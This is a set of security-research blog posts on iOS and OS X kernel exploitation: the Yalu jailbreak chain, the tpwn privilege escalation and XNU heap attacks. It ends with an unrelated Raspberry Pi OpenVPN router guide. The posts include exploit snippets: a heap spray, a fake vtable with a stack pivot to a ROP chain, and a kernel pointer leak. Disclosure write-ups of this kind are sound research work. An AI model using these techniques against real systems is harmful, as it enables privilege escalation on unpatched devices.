About the ‘Yalu’ Bug Chain

Yalu’s bug chain started shortly after Apple Watch’s release. Writing a full jailbreak was something I had never done before, and after researching a lot of common techniques used by previous jailbreak techniques I had a plan. The first step of said plan was acquiring a kernel exploit. Thankfully, I had a few stashed away at the time.

Main issue at that point was getting code to run on the watch. And for further kernel exploits, it had to be unsandboxed, too.

I had been tipped by a friend that WatchOS’s installd was hacked up to only allow Apple-signed binaries, and that it was possible that the kernel did not enforce such a check. I also recalled previous jailbreaks used installd toc-tous to install invalid apps on a phone. After playing around a bit I noticed something interesting: symlinks that pointed out of the sandbox container would be honored by installd, as long as CFBundleExecutable isn’t a symlink. So I tried to replace Info.plist instead. The result was quite amazing: installd would follow the link, use an Info.plist that was in an AFCable path, validating the CFBundleExecutable. The app installed correctly. After switching CFBundleExecutable with another binary and rebooting, I could execute a binary at will by running the app.

This primitive was quite interesting but it had never found it’s use.

Fast-forward a few months, shortly before iOS 9’s release. I had access to a jailbroken device on which I could carry my tests out. And it turned out “allow_dylibs_to_override_cache” was a string still present in dyld (red herring by the way; it isn’t usable anymore, but i realised this later).

I had a plan: escape sandbox, find yet another segment overlap, replace libmis.dylib, neuter amfid, get kernel exploit running (bug of choice was CVE-2015-6974, later exploited by Pangu9).

I began looking for segment overlaps, quickly realising that Apple’s latest dyld changes were a real challenge. I had also noticed that many of the checks were related to load commands, and segment overlaps between a mach-o’s own segments.

What about Mach-O segments overlapping another allocation? There were no obvious checks for that. I however realised that position independent executables couldn’t trivially overlap other allocations. And so I dug deeper..

It turned out that non-position independent executables would allow me to specify direct arguments to a “mmap” call; dynamic libraries cannot however be non-position independent. But dlopening a non-PIE MH_EXECUTE Mach-O was no problem.

Also, due to load commands not being overlapped, crashIfInvalidSignature would still be a problem. An easy one to solve, however: gain code execution before the function could ever be called. Overlapping the stack was a viable way to accomplish this, and it also allowed easy non-codesigned code execution via ROP.

And so I began writing a PoC.

After some testing I realised I missed a check: for non-PIE Mach-Os a vm_allocate call would be performed before mmaping the segment in. Since the stack memory was already allocated this would fail. Looking at the dyld source code however pointed out that this was not performed for “__PAGEZERO” (this is reasonable because __PAGEZERO is never actually mapped by dyld itself, and the mmap call for it is a null-op since filesize is supposed to be zero. However, since vmsize is non-zero, vm_allocate would still be called and it’d fail because kernel had that already covered).

And so I had a non-PIE MH_EXECUTE with a __PAGEZERO segment overlapping the stack at mmap time, way before load commands (that had to be marked as R-X) could be faulted in (causing a code sign fault).

ASLR was still a problem, but after looking at the respective xnu functions it turned out that stack ASLR and main binary ASLR were derived from the same random number, and each possible ASLR value could be covered by mapping in 0x100 pages. For each page a single possible main binary ASLR value could be derived. I simply filled pages with ROP NOPs followed by a stack pivot to a chain crafted for a particular main binary base address.

To improve the gadgets available, I decided to rip off signed pages off dyld and got them mapped as executable- and page faults wouldn’t cause code sign faults since they were correctly signed. This could be mapped at a fixed address, thus bypassing the whole ASLR issue entirely.

I still had no way to get dyld to load my Mach-O. And so I began digging and I ended up in the DeveloperDiskImage.dmg. I noticed that some binaries were linked with a framework, GPUTools, which resided in the DDI itself. Said binaries would link to the framework via @rpath, and the binaries would contain a LC_RPATH indicating ../../PrivateFrameworks/ as a rpath.

And I recalled about my installd TOC-TOU. Plan at this point was to install any application with an Info.plist replaced with a symlink, placing the original plist as symlink target and swapping it with a symlink pointing to a plist indicating as CFBundleExecutable a binary (MobileReplayer) ripped off the DeveloperDiskImage, restored with MobileBackup (to add the executable bit, which AFC does not set), and made sure ../../PrivateFrameworks/GPUTools.framework/GPUTools was my overlapping Mach-O.

I tested this all on my unjailbroken 8.4.1 device, effectively gaining unsigned unsandboxed code execution. And the dyld attack worked great on the jailbroken 9.0 device.

I proceeded to re-enable AMFI and tested again. And I had a sad face.
In iOS 9 Apple added a function that validates load command signature before even mapping segments, effectively killing all TOC-TOUs in sniffLoadCommands/mapSegments/crashIfInvalidCodeSignature.

I also tested the installd TOCTOU and it turned otu  iOS 9 installd was also hardened to prevent extracting symlinks pointing out of the app container, effectively mitigating the attack.

PanguTeam also had documented a known heap overflow on 8.4.1, in GasGauge. My context allowed me to IOServiceOpen the userclient, and while doing it in ROP was a pain, i could effectively gain kernel r/w. So, I decided to focus on 8.4.1 rather than 9.

Persistence could be achieved the same way, but instead using neagent to load my library. Easy peasy, although using Pangu9’s codesign bug is way easier, since you just need to copy the untether in and patch the dyld shared cache.

The name “yalu” is a Kim Jong Crack-esque joke about the river on North Korea’s border, joke being that getting into NK is akin to “jailbreaking”, achieving unlimited freedom!


Note that yalu development has halted due to better things to do, constant harassment from the jailbreak community and a thousand other reasons.

Thanks to everyone who made it possible, especially windknown / _Morpheus_ / posixninja / iH8sn0w / Esser / AriX et al.

About the “tpwn” Local Privilege Escalation

Note: “Attacking XNU For Fun And Profit” blog posts are suspended indefinitely. I’ll talk about the post-10.11 world in a talk at BlackHat AMS 2015.

This post had to come out two weeks ago, but due to school exams I haven’t had the time to write this down.

So, tpwn gains root on any OS X box running a system <= 10.10.5 by gaining knowledge of the kernel address space layout randomisation slide followed by kernel code execution kickstarting a stack pivot which allows me to control the stack pointer of a kernel thread belonging to a controlled task.

Missing Checks

is_io_service_open_extended does not check whether the task_t* pointer passed by the MIG subsystem is NULL or not.

Our journey begins with IOServiceOpen. This is the definition of this IOKit function that allows you to “connect” to an IOUserClient.

kern_return_t IOServiceOpen ( io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect );

This function will use MIG to tell the kernel to call io_open_service_extended, like this (in osfmk/device/device.defs):

routine io_service_open_extended(
	    service		: io_object_t;
	in  owningTask		: task_t;
	in  connect_type	: uint32_t;
	in  ndr			: NDR_record_t;
	in  properties		: io_buf_ptr_t, physicalcopy;
        out result		: kern_return_t;
	out connection		: io_connect_t

As you can see, from user land you pass in an io_service_t (mach_port_t), a task_port_t (mach_port_t) and an uint32_t, and kernel land gets an io_object_t*, a task_t*, and an uint32_t (along with some other stuff passed in by IOKitLib from userland).

The conversion between a mach port into the desired kernel type is handled by MIG like this (at least for the “task_t” type):

type task_t = mach_port_t
		intran: task_t convert_port_to_task(mach_port_t)
		outtran: mach_port_t convert_task_to_port(task_t)
		destructor: task_deallocate(task_t)
#endif	/* KERNEL_SERVER */


Mach ports hold a “kobject” value which is a pointer to some data it references in-kernel. This kobject value is typed, which means that technically you cannot pass in a mach port with a certain kobject type to a function which expects a different kobject type.

Of course, convert_port_to_task is a good boy: if the kobject type is not IKOT_TASK, it returns NULL.

convert_port_to_task(ipc_port_t	port)
	task_t		task = TASK_NULL;
	if (ip_kotype(port) == IKOT_TASK) {
		task = (task_t)port->ip_kobject;
	return (task);


So, if you call IOServiceOpen with a mach port whose kobject type is not IKOT_TASK, is_io_service_open_extended is called with a NULL ‘owningTask’ parameter, and before 10.11 “El Captain” is_io_service_open_extended did not perform any check on wether the task is NULL or not, allowing NULL to be passed down to whatever IOUserClient has been opened (this is bug 1, CVE-2015-????).

Mapping NULL

NULL is not a special pointer, although modern OSes will prevent you from mapping memory over there.

Mac OS X does this via a — __PAGEZERO segment in every MH_EXECUTE Mach-O.

This segment “reserves” memory in the NULL page (up to 0x100000000 on x86_64 systems) and makes it impossible to map. The kernel enforces this on OS X, but 32 bit binaries are not required to have a __PAGEZERO segment for compatibility reasons I believe.

Binaries lacking __PAGEZERO are fully free to map the NULL page, allowing us to fully control the data.

Memory Corruption

The following code will run when a new IOHDIXControllerUserClient is created via an is_io_service_open_extended call:

Screen Shot 2015-09-02 at 01.25.52

As you can see, it calls bsd_set_dependency_capable passing in the task value it gets from the caller without checking if it equals to NULL.

void bsd_set_dependency_capable(task_t task)
    proc_t p = get_bsdtask_info(task);
    if (p) {
        OSBitOrAtomic(P_DEPENDENCY_CAPABLE, &p->p_flag);

It translates (on 10.10 XNU at least), into:

task->bsd_info->p_flag |= P_DEPENDENCY_CAPABLE;

Since “task” equals NULL, by mapping NULL in userland, this function will read from userland memory(!) a pointer (task->bsd_info), dereferences it (->p_flag), treating the resulting pointer as an integer which will be ORed ( |= ) to 0x00100000 (P_DEPENDENCY_CAPABLE). Since we have full control of the pointer, this can be considered an OR 0x10 primitive. This is done in kernel, which means you can potentially corrupt kernel memory!

You’re starting to get the picture?

Meaningful Corruption

But what do we corrupt, exactly? First of all, there’s kASLR. Then kernel __TEXT, which is R-X. Kernel __DATA is RW-, but e.g. syscalls are in the ‘const’ section. Furthermore, our corruption allows us to |= 0x10; any byte in kernel memory. Not exactly a write-what-where. Thankfully, if you paid attention to my last two blog posts attacking the heap is where all the fun is at these days. We’ll need just a couple things first: a pointer to something in the heap, and that something must be something that gets us some sort of meaningful undefined behaviour thanks to our corruption.

P.S. In “tpwn” I decided to perform multiple corruptions for the exploit, but this is un-needed, and it was done just because in this case it provided mathematically provable 100% reliability.

IOAudioEngineUserClient to the rescue!

Thankfully, IOAudioEngineUserClient has a solution for us! It exposes a very handy method to retrieve a “connection ID”.

IOReturn IOAudioEngineUserClient::getConnectionID(UInt32 *connectionID)
    audioDebugIOLog(3, "+-IOAudioEngineUserClient[%p]::getConnectionID(%p)\n", this, connectionID);

    *connectionID = (UInt32) (((UInt64)this >> 8) & 0x00000000FFFFFFFFLLU) ;
    return kIOReturnSuccess;

This ID is derived by the “this” pointer, but it is not sufficiently obfuscated. In fact, thanks to canonical addressing and memory alignment, it is not obfuscated at all.

Any kernel-land pointer is negative, and due to canonical addressing this means that the first 24 bits are known to be “0xFFFFFF”.

Any memory allocation in a zone bigger than 0x100 will have the last 8 bits known to be “0x00”.
IOAudioEngineUserClient fits in an allocation from the kalloc.1024 zone, so 0x400 bytes in size.

Interestingly enough, all other missing bits are our very own connection ID! Thanks IOAudioEngine! (this is bug 2, CVE-2015-????).

    // from tpwn/main.m's leak_heap_ptr
    uint64_t    scalarO_64=0;
    uint32_t    outputCount = 1;
    IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
    if (!scalarO_64) {
        puts("failed infoleaking");
    scalarO_64 <<= 8;
    scalarO_64 |=  0xffffff0000000000;

This is a C++ object residing in a RW- page, in an allocation from the kalloc.1024 zone! We can create allocations, free them and leak their pointers at will, which allows us to keep trying until we get two adjacent allocations. By freeing the first allocation and re-allocating a vm_map_copy structure into the newly poked hole, we now have a vm_map_copy adjacent to a C++ object, or more precisely, an IOAudioEngineUserClient object.

Give my “Attacking XNU For Fun And Profit Part 2” post a read.

Since we can control the size of our kernel allocation from userland, we can make sure that the |= 0x10 really means += 0x10 by making sure size AND 0x10 == 0, in turn allowing us to read the first 16 bytes of the adjacent allocation. The adjacent allocation, again, is a C++ object. First 8 bytes of said allocation is a pointer to the vtable of our object, which resides in a kernel extension’s __TEXT/const __DATA segment.

We can analyse the kernel extension’s symbol table to find out the pointer to the IOAudioEngineUserClient vtable, find out the unslid address of said kernel extension in kernel address space, add the two to find out the unslid address of said vtable. Since we also know the slid address (thanks to our vm_map_copy corruption), by subtracting the two we can find out the kaslr slide which allows us to know the address space layout and allows us to re-use code inside the kernel’s __TEXT, to bypass SMEP.

Gaining RIP Control

There are many ways to do this, but I decided to use a specific execution vector which gives us provable 100% reliability, and is specific to IOAudioEngineUserClient. Since we can corrupt memory at will and we know a pointer to an IOAudioEngineUserClient, by changing a NULL pointer to a C++ object into a 0x10 pointer to a C++ object, said object can be controlled. In our case, a static method will be called on said object, so hijacking the vtable is useless. However, said static method will release a reference to an object, and does so by calling object->release();, which is a vcall. By controlling the pointer to said object, you can make sure the call reads the vtable pointer from userland memory, allowing you to control two registers. One is the pointer to our fake vtable, usually stored in RAX, the other is RIP, which can just point to a stack pivot allowing you to set RSP = RAX, and run a small chain which transfers control to a full chain. My chain sets current task’s uid = 0, which gives the tpwn process root privileges. system(“/bin/sh”) spawns a shell.


— Luca ‘qwertyoruiop’ Todesco for Kim Jong Cracks Research.

Shout out @jk9357 for the new coming soon KJC track!

Attacking the XNU Kernel For Fun And Profit – Part 2

This blog post is part of a series of posts in which I will discuss several techniques to own XNU, the kernel used by Apple’s OS X and iOS. My focus will be on heap-based attacks, such as heap overflows, double frees, use-after-frees and zone confusion.

In the previous blog post, I outlined some very important details on how the kernel heap works on both iOS and OS X. In this one, I’ll outline several kernel hardening features Apple has added over the years to stop kernel exploitation. A basic knowledge of the impact of these measures is required in other to further perform any additional exploit. I will begin the tale of the exploitation of a real-world exploit, CVE-2015-1140, a textbook heap overflow present up to Mac OS X 10.10.2 (included) which allowed escalation to Ring 0 from an unprivileged user. I will be describing the techniques involved in this exploit. In the next blog post, I will be showing code to pull these techniques off with CVE-2015-1140.

1) iOS Only – Kernel/User Address Space Isolation
Can be enabled on OS X with no_shared_cr3, but impacts performance.
Impact: Kernel will not be able to read userland data without special routines being used. In the future, SMAP will provide the same protection with no performance impact(?).

2) x86_64 Only – SMEP
Impact: You won’t be able to execute from userland address space when in Ring 0. This still allows read and write to the userland address space. If no_shared_cr3 is used, SMEP becomes useless since kernel/user address space isolation already prevents userland address space access (incl. execution).

3) Kernel W^X
Impact: Executable pages are not writeable. Writeable pages are not executable. This is quite an hassle when combined with SMEP or AS Isolation, because without these instead of jumping to kernel address space you can jump to userland address space mapped as r-x and ring0 will happily run it.

4) KASLR – Kernel Address Space Layout Randomisation
Impact: The obvious way to go around 1, 2 and 3 is to do data-reuse or code-reuse attacks, such as ROP. But you need to be able to locate the data you want to use in memory, by sliding everything randomly on each boot this becomes theoretically impossible.

5) Allocator Hardening / Safe Unlinking
Impact: Prevents the allocator from being exploited. This stops generic heap attacks from working.

Note: There are other “hardening” features all around the kernel, but I’ll be focusing on these since these are the ones that will pretty much always get into your way when writing a kernel exploit.

The Vulnerability

After a couple of days looking around the source code of the open-source kernel extensions installed by default on Mac OS X, I spotted a strange file inside IOHIDFamily, IOHIDSecurePromptClient.cpp.
It became obvious that whoever coded that was high on drugs at the time, since out of 13 functions it exposes to any unprivileged user, one is a “null terminator”, which shouldn’t be an exposed method but it is, due to an off-by-one bug, three are methods that do an unrestricted write-what-where (but the where is limited to a 32 bits wide pointer), and as of 10.10.1 were so broken that they could not possibly be used without crashing the kernel, one is an heap overflow, and generally speaking I do not get the point of this IOUserClient. I am not sure what it is usually used for, but I guess it’s used for nothing at all since half of it’s functions are broken. This class was removed in it’s entirety on 10.10.3, and two methods were removed in 10.10.2.

The heap overflow is fairly simple; the 12th selector (10th after 10.10.2) will take some data from userland and copy it into a fixed-size buffer. There is some form of “sanity checking”, but it’s ridiculously stupid since the cap on the user-passed data’s length is 4095, and the buffer is 256 bytes in size.

We also note that the 256-byte buffer we’ll overflow from is allocated once you request the creation of a new IOHIDSecurePromptClient, so we can perform the allocation from userland at will.

We can fully control the data of any 256 byte allocation adjacent to our buffer, as long as our buffer isn’t the last allocation in a page because our overflow would be writing in an unmapped area. Since a page is 4096 bytes, 16 256-byte allocations fit in a page, and the chance of being the last allocation is 1/16th. This means the exploit will fail around 1/16th if we cannot guess the heap address of our buffer.

Controlling the Heap

In my previous blog post I described some details on how the kernel heap allocator works. In this blog post I’ll make use of “adjacent objects”. Remember, there are different “heaps”, each with a fixed allocation size. When you request an allocation, the last-free’d memory chunks in your size’s “heap” is returned. When no more free memory is available, a new page is mapped and divided in new free memory chunks. So, to allocate adjacent objects what you have to do is fill the interested heap, so a new page is taken. Once a new page is used for allocations, since you know in what order the free memory chunks are used, you can easily allocate adjacent objects. This technique is described with great detail in many papers, and is commonly called “Heap Feng Shui”.

Gaining Code Execution

Due to allocator hardening, trying to perform a generic attack is a waste of time, and since there is no metadata in allocated chunks (just in free ones), after writing the 256th byte we will be directly controlling the values of an allocated chunk. Since the XNU kernel makes use of C++ and the creation/destruction of C++ objects can be controlled from userland, overwriting the vtable pointer of such a C++ object gives us control over the instruction pointer. But what do we use as vtable pointer? An userland pointer would be okay on OS X, but it is not okay today on iOS and won’t be okay anymore sometime in the future on OS X due to Kernel/User Address Space Isolation coming to x86_64 as SMAP. Another important question is: what will we execute? Userland address space can not be executed due to SMEP and we don’t know the kernel address space layout due to KASLR, so we’re at a dead end. We need to work some more.

Breaking KASLR

On XNU, Kernel Address Space Layout Randomisation is pretty simple. A byte is generated randomly at boot. From there, a “kernel slide” is derived. This kernel slide is then added to the base address of kernel extensions as well as the kernel itself. The kernel slide is the same for every kernel address, so leaking a pointer to kernel or kernel extension text or data will always break KASLR, since you can calculate the pointer from userland and subtract the leaked value from the calculated value to find out the value of the slide. Once the slide is known, you are free to use data/code-reuse attacks.


Backtrace (CPU 0), xxx : Return Address
xxx : 0xffffff800792bda1
xxx : 0xffffff8007e5c436

Kernel slide: 0x0000000007600000
Kernel text base: 0xffffff8007800000


— Kernel Panic on KASLR-enabled Mac OS X Machine

Controlling Data In Kernel Address Space

To do this is by finding some kernel function that allows user-land to pass data to be stored in a kernel buffer, and then leak this buffer’s address.
A way to do this is by using pipe() and write(). The data you will write() is copied into a kalloc’d buffer with no metadata. Metadata about your pipe (such as data length) is stored in a fixed-size allocation and is not stored with your data. This is useful if you need to control every byte of a kalloc allocation.

Another way is by sending OOL data via a mach message. This OOL data will be copied into the kernel AS via vm_map_copyin, which will allocate enough bytes to hold your data + 0x58 (on recent x86_64 XNU). Metadata is stored inline. When vm_map_copyout is used, this data is copied back into userland address space.
This is useful since metadata holds your data’s length, and corruption of the length will make vm_map_copyout read out-of-bounds. Furthermore, a pointer called “kdata” will point to the data that will be copied, thus controlling this pointer allows you to read anywhere in kernel memory, useful to find gadgets without having to access the file system to read the kernel. Placing two of these vm_map_copy structs next to another, then corrupting the first one’s size to read the second one’s header allows you to leak the kdata pointer, which will be pointing to the user-controlled data stored in kernel heap. You can then use this pointer to do anything you wish, and it’ll point to your user-controlled data!

struct vm_map_copy {
	int			type;
	vm_object_offset_t	offset;
	vm_map_size_t		size;
	union { 
	    struct {				
		void			*kdata;
		vm_size_t		kalloc_size;
	    } c_k; /* KERNEL_BUFFER */
	} c_u;
#define cpy_kdata		c_u.c_k.kdata
#define cpy_kalloc_size		c_u.c_k.kalloc_size
	vm_map_t		dst_map,
	vm_map_address_t	*dst_addr,	/* OUT */
	vm_map_copy_t		copy)
        if (copy->type == VM_MAP_COPY_KERNEL_BUFFER)
                return vm_map_copyout_kernel_buffer(dst_map, dst_addr, copy, FALSE, consume_on_success);
static kern_return_t
	vm_map_t		map,
	vm_map_address_t	*addr,	/* IN/OUT */
	vm_map_copy_t		copy,
	boolean_t		overwrite,
	boolean_t		consume_on_success)
        copyout(copy->cpy_kdata, *addr, (vm_size_t) copy->size);
        kfree(copy, copy->cpy_kalloc_size);


Breaking KASLR – Again

You’ll have to pay attention to some details.
From the previous part of “Breaking KASLR”:

The kernel slide is the same for every kernel address, so leaking a pointer to kernel or kernel extension text or data will always break KASLR, since you can calculate the pointer from userland and subtract the leaked value from the calculated value to find out the value of the slide.

Now, from “Gaining Code Execution”:

Since the XNU kernel makes use of C++ and the creation/destruction of C++ objects can be controlled from userland, overwriting the vtable pointer of such a C++ object gives us control over the instruction pointer.

Then, from “Controlling Data In Kernel Space”:

Placing two of these vm_map_copy structs next to another, then corrupting the first one’s size to read the second one’s header allows you to leak the kdata pointer.

What if instead of placing two vm_map_copy structures one next to the other I place first a vm_map_copy and then a C++ object, then corrupt the vm_map_copy’s header to read into the C++ object? Whoo, I see. I leak the vtable pointer to userland. And where is the vtable located? In kernel/kernel extension text. Can you calculate this from userland? Sure you can!
Subtract the calculated value from the leaked value. What’s the result? If we ran this just before crashing to get kernel panic log shown in the first part of “Breaking KASLR”, the result would be 0x0000000007600000.

Gaining Code Execution – Again

Okay. Here we go again. We now have knowledge of two things we didn’t have before. The first is a pointer to user-controlled data in kernel address space, and the second is the kernel slide. Again, we use our heap overflow to corrupt the vtable pointer of a C++ object. Since we can store arbitrary data in the kernel address space and we know the pointer of this data, we can simply store a fake vtable and use it’s pointer. One question still stands: what will we execute? Due to kernel w^x you cannot just put the shellcode just next to the vtable, since the kernel heap is not executable. We need to do some more.

Bypassing Kernel W^X

This can be achieved fairly simply now that we have knowledge of the KASLR slide. All we need to do is to find some code that when executed will corrupt the stack pointer register to the address of our user-controlled data in kernel heap, execute that code, and once the stack corruption is done, it will return. By returning, it will take a value from the stack and set the instruction pointer to that value. By crafting what is called a ROP chain, you’ll be able to execute repeatedly small amounts of code, and with enough work you’ll be able to make this ROP chain do something useful to you. Since the ROP chain only uses code already inside the kernel, you do not need to be able to write your shellcode in an executable page. Just use what is already there, sitting in R-X page.

From a theoretical point of view, the kernel is now completely owned. All the security “features” we talked about at the beginning of this post have now been completely bypassed. It’s time to party like it’s 1990s 2011 again, with no exploit mitigations standing between us and privilege-escalated code execution in ring0.
The next blog post will contain code that implements the techniques described in this blog post.

NOTE: These techniques are not new. They have been used multiple times by different people, including myself. I’m simply trying to document them. Credit goes to whoever introduced these first, I suppose. Since I have no clue who did so, I’ll refrain from giving credit to anyone in particular. This also means that I take no credit for anything on this blog post.

Attacking the XNU Kernel For Fun And Profit – Part 1

This blog post is part of a series of posts in which I will discuss several techniques to own XNU, the kernel used by Apple’s OS X and iOS. My focus will be on heap-based attacks, such as heap overflows, double frees, use-after-frees and zone confusion.

This post will be describing the zalloc() allocator, and how kalloc() (which is used for a lot of stuff including the IOKit C++ “new” operator) uses it. I’ll assume a page is 4096 bytes in your machine.

You can use zinit() to create a zone, which is essentially a “sub-heap”, completely independent of other heaps. A zone will always allocate a fixed-size memory area, and it does so by allocating a page and dividing by N bytes. For example, the kalloc.512 zone, which allocates 512 byte allocations, will take a 4096 byte page and divide it up in 8 free chunks. Each chunk references the previous chunk in a linked list, and every time you call zalloc() on it, the last chunk will be returned and the zone will move up an item in the linked list. zfree() will pop the chunk back into the list, and the zone will return it in the next zalloc(), unless another chunk is freed first. You can use “sudo zprint” to see all zones that have been zinit()ed, along with useful infos on allocations.

kalloc resembles much more libc’s malloc() in it’s interface, requiring only your allocation’s size as argument, but unlike libc’s free(), kfree (kalloc’s free equivalent) requires both the pointer to the allocation AND the allocation size, since neither zalloc nor kalloc store any metadata in allocated chunks, so kfree can not know what zone your chunk has to be popped back in.

So, to recap, zalloc uses multiple heaps, each heap is called zone, each zone always allocates same-sized allocs, kalloc registers up various zones for 16, 32, 64, 128, etc. allocations and will take any reasonable size and return an allocation in the zone with smallest enough size to satisfy the allocation (kalloc(15) returns a 16 byte chunk, kalloc(17) returns a 32 byte chunk). Another important thing to remember is that each zone has a linked list that acts as a LIFO, and when no more free chunks are available in a zone, a new page is allocated, split up in chunks and each chunk is added to the free list (which is held inline).

Hopefully this gives you a simple explanation on how the XNU kernel handles the heap. I skipped a lot of stuff and tried to keep this as simple as possible, but if you have any question regarding this feel free to contact me on Twitter, on IRC if you see me idling around some channel you’re in, via email at me@qwertyoruiop.com or on XMPP (w/ OTR) at haema@jabber.ccc.de.

P.S. Free chunk metadata used to be an easy write-what-where in case of heap overflows, but nowadays the unlink operation is hardened, plus I don’t like free chunk meta data attacks anyway, so I won’t cover free chunk metadata attacks at all.

Exploitation of a generic Heap Overflow on Mac OS X XNU

So you got it. After all your search you have a way to make the kernel allocate say 400 bytes. Then write N bytes of your own data on it. You’re happy. Then you realise: “How the fuck am I going to exploit this anyway?”. You may know how already, then this post is not for you. Keep rocking.

But if you do not know how to exploit a kernel heap overflow (I guess many of you out there don’t know?), here’s how I’ve done it.

A 400 byte buffer allocated with kalloc (very probably it’ll be allocated by kalloc if it’s from stuff like IOMalloc) will be put into a 512 byte zone. Which means that many other 512 byte zone allocations are going to be very likely near the one you’re overflowing.

So, just get IOKit to allocate a new C++ object with size > 255 and < 512, pray to god that it’ll be allocated next to the overflow buffer, overflow into it, the vtable pointer will be overwritten. Once you control the vtable pointer you can just call IOConnectRelease() and the pointer at 0x20 of your vtable will be jumped into. Place a RAX stack pivot into that and the pivot will return into an address in a memory area you control.

Now, we don’t want to pray to god that our vulnerable buffer will be put before our IOKit object. So my idea (which came after looking a bit at @i0n1c’s xnu heap feng shui stuff) was to allocate a lot of small IOService objects, such as IOBluetoothHCIUserClient (which gets allocated in 512 byte zones as of 10.10.2, and which is what I’m using to gain code exec from my heap overflows), say 1000 times. This can be done easily by using IOServiceOpen. We store all the mach ports for each of these IOServices, then start IOConnectRelease()ing oen every two mach ports. That way it’s very likely that a subsequent allocation (of, say, your vulnerable heap buffer) will have an IOKit object you know everything about next to it.

There’s just one issue: You cannot be sure that your allocations are in subsequent memory. There may be holes in the heap. So, just allocate 500 objects, then another 1000. Release every odd object from the 1000 ones, but keep all the 500 ones intact. The first 500 will fill holes, and there will be an even bigger chance that the “holes” you’re creating in the heap will be subsequent.

This is the code: (note that I do a lot of series of allocations to have what I consider to be a good chance of hitting the exploit correctly)

uint64_t kernel_alloc_small_object() {

    kern_return_t err;

    CFMutableDictionaryRef matching = IOServiceMatching(“IOBluetoothHCIController”); 

    io_iterator_t iterator;

    err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

    io_service_t service = IOIteratorNext(iterator);

    if (service == IO_OBJECT_NULL){

        printf(“unable to find service\n”);

        return 0;


    io_connect_t conn = MACH_PORT_NULL;

    err = IOServiceOpen(service, mach_task_self(), 0, &conn);

    return conn;


void kernel_dealloc(uint64_t conn) {

    for (int i = 0; i < 255; i++) {

        IOConnectRelease((io_connect_t  )conn); // this calls the release method on our bluetooth object, which gets looked up on the vtable (which we control), and it gets jumped into. It does not succesfully release, however.



static uint64_t alloc_table[0x5000];

    for (int i = 0; i < 2000; i++) {

        alloc_table[i] = kernel_alloc_small_object();


    for (int i = 1000; i < 1500; i++) {

        if (i % 2) {


            alloc_table[i] = 0;



    uint64_t *vtable = calloc(0x1000, sizeof(uint64_t));

    vtable[0] = 0x1337133713371337;

    vtable[1] = POP_RSP_RET_GADGET;

    vtable[2] = MY_ROP_STACK;

    vtable[4] = MY_STACK_PIVOT; // rax = vtable, let’s consider the pivot puts RAX into RSP, pops rbp off it, and returns.



   // the overflow sprays the userspace vtable pointer into the next allocation, hopefully our IOBluetoothHCIController object, substituting the vtable pointer already present.

for (int i = 0; i < 2000; i++)

    if (alloc_table[i] )

        kernel_dealloc(alloc_table[i]); // when this hits our smashed IOBluetoothHCIController, kernel will try to call vtable[4], while holding vtable in RAX. This gives us control over RAX and RIP, enough to run a ROP payload.

This code should run a stack pivot (I assume the pivot does rsp = rax), modify RSP to an user-controlled memory area better suited as a stack and returns into the first gadget.

I hope this helps somebody. Reach me out on Twitter at @qwertyoruiop or via mail at me [.at.] qwertyoruiop [-dot-] com if it does 🙂

See you!

Setting up a Raspberry PI as an OpenVPN Router without additional NICs

During one of my latest shopping sprees I decided to buy myself a new Raspberry PI. These credit-card sized computers have always intrigued me for their endless potential. Many use them as set-top boxes, others for pentesting (my favorite use of the Pi so far), others simply use them as cheap computers.


The Raspberry PI Model B+

One thing I wanted from some time to use a rPI for was certainly protecting my network against attackers. I’m a fan of OpenVPN and all my devices have a client installed, but I wanted something better.

Commercial routers sometimes do have OpenVPN support, however they lack enough speed for the strong crypto required by it. This was the case for my old WRT54GL that would max out at barely 300kbps with OpenVPN on. I figured that a rPI would handle that traffic in a far more efficient way.

Also: I do not have an USB NIC or WiFi card available, so I decided to use the single ethernet NIC integrated in my Model B+.

So, let’s begin with the OS image. I decided to go with Raspbian, in particular with this image because of it’s light weight. After you get that on a MicroSD card, boot it up and hook up a mouse, a keyboard and an HDMI cable to your rPI.
Root password will be “raspberry” by default. Be sure to change this, as SSH will be available and attackers will be able to SSH in with a very simple dictionary attack.

Once you get to a shell, we need to set up everything we need in order to get our setup working. A DHCP server is not required, but in order to correctly VPNify your traffic you will have to specify a different gateway on your devices, pointing to the Raspberry PI’s IP.

apt-get update

apt-get install isc-dhcp-server openvpn

After you’re done installing, put your VPN files in /etc/openvpn/ and rename your .ovpn configuration file into config.ovpn. Proceed by removing /etc/init.d/openvpn since it looks like it won’t work at boot.

Routing is going to be pretty simple. My setup works like this: I have a WiFi router with a 4-port switch and a WAN port. I connected the WAN port to my internet modem and my iMac and Raspberry PI to one of the switch ports. The router connects to WAN and creates a LAN on the subnet. The router’s IP is and I disabled DHCP to let the Raspberry handle it. The Raspberry is configured so eth0 has as a static ip and eth0:0 (an alias of eth0) has as a static ip.
The VPN connects using (as an example) as server. Since the Raspberry needs a time source, I decided to let NTP traffic flow unencrypted on the network. Pinging pool.ntp.org gave me as an address, and I decided to use that as my NTP server IP.

cat > /etc/ntp.conf << EOF


driftfile /var/lib/ntp/ntp.drift

statistics loopstats peerstats clockstats

filegen loopstats file loopstats type day enable

filegen peerstats file peerstats type day enable

filegen clockstats file clockstats type day enable

restrict -4 default kod notrap nomodify nopeer noquery

restrict -6 default kod notrap nomodify nopeer noquery


restrict ::1


This requires us to route and to the gateway (which is my WiFi router), (aka “default”) to the VPN’s gateway. To achieve this, just use post-up in /etc/network/interfaces.

cat > /etc/network/interfaces << EOF

auto lo

iface lo inet loopback

auto eth0

iface eth0 inet static



 auto eth0:0

iface eth0:0 inet static


     post-up route del -host || :

     post-up route del -host ||:

     post-up route add -host eth0 ||:

     post-up route add -host gateway eth0 ||:

     post-up route add -host gateway eth0 ||:



To run OpenVPN at boot, but only after NTP sets the correct date, simply do:

cat > /etc/rc.local << EOF


while [[ “$(date +’%s’)” -lt 1400000000 ]]; do sleep 1; done

openvpn /etc/openvpn/config.ovpn >> /etc/openvpn/ovpn.log

) &


To correctly configure routing after OpenVPN starts, you’ll have to add two lines to your config.ovpn file, by doing something along the lines of:

cat >> /etc/openvpn/config.ovpn << EOF

script-security 2

up /etc/openvpn/up.sh


And then create the /etc/openvpn/up.sh script with these contents, without forgetting to chown +x it:


route del -host gateway

route add default gateway “$5”

iptables –table nat -F POSTROUTING

iptables –table nat -A POSTROUTING -o eth0 -s -j MASQUERADE

